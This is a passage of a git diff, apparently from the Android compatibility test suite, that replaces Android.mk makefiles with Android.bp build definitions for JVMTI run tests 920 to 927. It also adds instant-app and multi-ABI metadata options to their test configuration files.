+    name: "CtsJvmtiRunTest920HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest920DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-920/Android.mk b/hostsidetests/jvmti/run-tests/test-920/Android.mk
deleted file mode 100644
index 80ddaa8..0000000
--- a/hostsidetests/jvmti/run-tests/test-920/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest920HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
index 9c6d09b..38eb72f 100644
--- a/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-920/app/Android.bp b/hostsidetests/jvmti/run-tests/test-920/app/Android.bp
new file mode 100644
index 0000000..2e3b0a0
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-920/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest920DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-920/app/Android.mk b/hostsidetests/jvmti/run-tests/test-920/app/Android.mk
deleted file mode 100644
index ee861f2..0000000
--- a/hostsidetests/jvmti/run-tests/test-920/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest920DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-922/Android.bp b/hostsidetests/jvmti/run-tests/test-922/Android.bp
new file mode 100644
index 0000000..6e2f8b5
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-922/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest922HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest922DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-922/Android.mk b/hostsidetests/jvmti/run-tests/test-922/Android.mk
deleted file mode 100644
index d84b832..0000000
--- a/hostsidetests/jvmti/run-tests/test-922/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest922HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
index c2e21f1..4389b10 100644
--- a/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-922/app/Android.bp b/hostsidetests/jvmti/run-tests/test-922/app/Android.bp
new file mode 100644
index 0000000..37bb079
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-922/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest922DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-922/app/Android.mk b/hostsidetests/jvmti/run-tests/test-922/app/Android.mk
deleted file mode 100644
index 70843f5..0000000
--- a/hostsidetests/jvmti/run-tests/test-922/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest922DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-923/Android.bp b/hostsidetests/jvmti/run-tests/test-923/Android.bp
new file mode 100644
index 0000000..93f69da
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-923/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest923HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest923DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-923/Android.mk b/hostsidetests/jvmti/run-tests/test-923/Android.mk
deleted file mode 100644
index d7f9f09..0000000
--- a/hostsidetests/jvmti/run-tests/test-923/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest923HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
index f9c586a..1ecad38 100644
--- a/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-923/app/Android.bp b/hostsidetests/jvmti/run-tests/test-923/app/Android.bp
new file mode 100644
index 0000000..9f1659e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-923/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest923DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-923/app/Android.mk b/hostsidetests/jvmti/run-tests/test-923/app/Android.mk
deleted file mode 100644
index b638272..0000000
--- a/hostsidetests/jvmti/run-tests/test-923/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest923DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-924/Android.bp b/hostsidetests/jvmti/run-tests/test-924/Android.bp
new file mode 100644
index 0000000..ac01e56
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-924/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest924HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest924DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-924/Android.mk b/hostsidetests/jvmti/run-tests/test-924/Android.mk
deleted file mode 100644
index 7e71607..0000000
--- a/hostsidetests/jvmti/run-tests/test-924/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest924HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
index fa355f2..50f690b 100644
--- a/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-924/app/Android.bp b/hostsidetests/jvmti/run-tests/test-924/app/Android.bp
new file mode 100644
index 0000000..3700ade
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-924/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest924DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-924/app/Android.mk b/hostsidetests/jvmti/run-tests/test-924/app/Android.mk
deleted file mode 100644
index 7136929..0000000
--- a/hostsidetests/jvmti/run-tests/test-924/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest924DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-926/Android.bp b/hostsidetests/jvmti/run-tests/test-926/Android.bp
new file mode 100644
index 0000000..4b17ff2
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-926/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest926HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest926DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-926/Android.mk b/hostsidetests/jvmti/run-tests/test-926/Android.mk
deleted file mode 100644
index d11f3f3..0000000
--- a/hostsidetests/jvmti/run-tests/test-926/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest926HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
index a50a51d..f4552db 100644
--- a/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-926/app/Android.bp b/hostsidetests/jvmti/run-tests/test-926/app/Android.bp
new file mode 100644
index 0000000..afb334a
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-926/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest926DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-926/app/Android.mk b/hostsidetests/jvmti/run-tests/test-926/app/Android.mk
deleted file mode 100644
index 3d531ff..0000000
--- a/hostsidetests/jvmti/run-tests/test-926/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest926DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-927/Android.bp b/hostsidetests/jvmti/run-tests/test-927/Android.bp
new file mode 100644
index 0000000..8703cce
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-927/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest927HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest927DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-927/Android.mk b/hostsidetests/jvmti/run-tests/test-927/Android.mk
deleted file mode 100644
index 839ab86..0000000
--- a/hostsidetests/jvmti/run-tests/test-927/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest927HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
index 5c02f07..9f5e79e 100644
--- a/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-927/app/Android.bp b/hostsidetests/jvmti/run-tests/test-927/app/Android.bp
new file mode 100644
index 0000000..47d4f11
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-927/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest927DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-927/app/Android.mk b/hostsidetests/jvmti/run-tests/test-927/app/Android.mk
deleted file mode 100644
index 0443b1b..0000000
--- a/hostsidetests/jvmti/run-tests/test-927/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
